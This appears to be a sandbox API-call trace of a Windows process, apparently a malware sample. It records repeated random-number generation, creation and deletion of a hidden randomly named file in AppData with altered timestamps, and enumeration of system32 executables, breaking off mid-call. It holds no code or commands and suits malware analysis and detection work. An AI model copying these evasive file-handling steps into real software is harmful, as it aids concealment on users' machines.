[0036.834] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.835] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.835] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.835] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.836] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.836] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.836] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.837] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.837] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.837] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.837] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.837] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.837] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.838] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.838] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.838] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.839] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.839] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.839] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.840] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.840] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.840] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.840] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.840] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.840] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.841] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.841] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.841] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.842] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.842] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.842] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0036.843] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0036.843] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0036.843] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0037.677] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0037.677] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0037.677] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0037.678] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0037.678] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0037.678] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0037.678] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0037.678] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0037.678] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0037.679] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0037.679] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0037.679] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0037.680] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0037.680] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0037.680] CryptAcquireContextW (in: phProv=0x17af62c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af62c*=0x469f18) returned 1 [0037.680] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af640 | out: pbBuffer=0x17af640) returned 1 [0037.681] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0037.681] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fcf8) returned 1 [0037.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fcf8 [0037.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VaYTh9IS7JwyNm9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vayth9is7jwynm9"), fInfoLevelId=0x0, lpFileInformation=0x17af5f8 | out: lpFileInformation=0x17af5f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x838ae7, ftCreationTime.dwHighDateTime=0x300000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0x17af954, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x17af690)) returned 0 [0037.681] GetLastError () returned 0x2 [0037.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VaYTh9IS7JwyNm9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vayth9is7jwynm9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x148 [0037.682] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x17af63c, lpLastWriteTime=0x17af63c) returned 1 [0037.682] NtClose (Handle=0x148) returned 0x0 [0037.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0xed61e8 [0037.682] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VaYTh9IS7JwyNm9", lpszShortPath=0xed61e8, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1") returned 0x2a [0037.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VaYTh9IS7JwyNm9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vayth9is7jwynm9"), fInfoLevelId=0x0, lpFileInformation=0x17af638 | out: lpFileInformation=0x17af638*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x2b8c8270, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x2b8c8270, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x2b8c8270, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.683] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VaYTh9IS7JwyNm9", dwFileAttributes=0x80) returned 1 [0037.683] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VaYTh9IS7JwyNm9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vayth9is7jwynm9")) returned 1 [0037.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed61e8) returned 1 [0037.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fcf8) returned 1 [0037.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a28 [0037.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed61e8 [0037.683] GetSystemDirectoryW (in: lpBuffer=0xed61e8, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0037.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed61e8) returned 1 [0037.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fcf8 [0037.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fc70 [0037.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fbe8 [0037.683] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x17af6dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af6dc) returned 0x459b38 [0037.684] CryptAcquireContextW (in: phProv=0x17af64c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17af64c*=0x469f18) returned 1 [0037.684] CryptGenRandom (in: hProv=0x469f18, dwLen=0x4, pbBuffer=0x17af660 | out: pbBuffer=0x17af660) returned 1 [0037.684] CryptReleaseContext (hProv=0x469f18, dwFlags=0x0) returned 1 [0037.684] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="at.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="change.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, 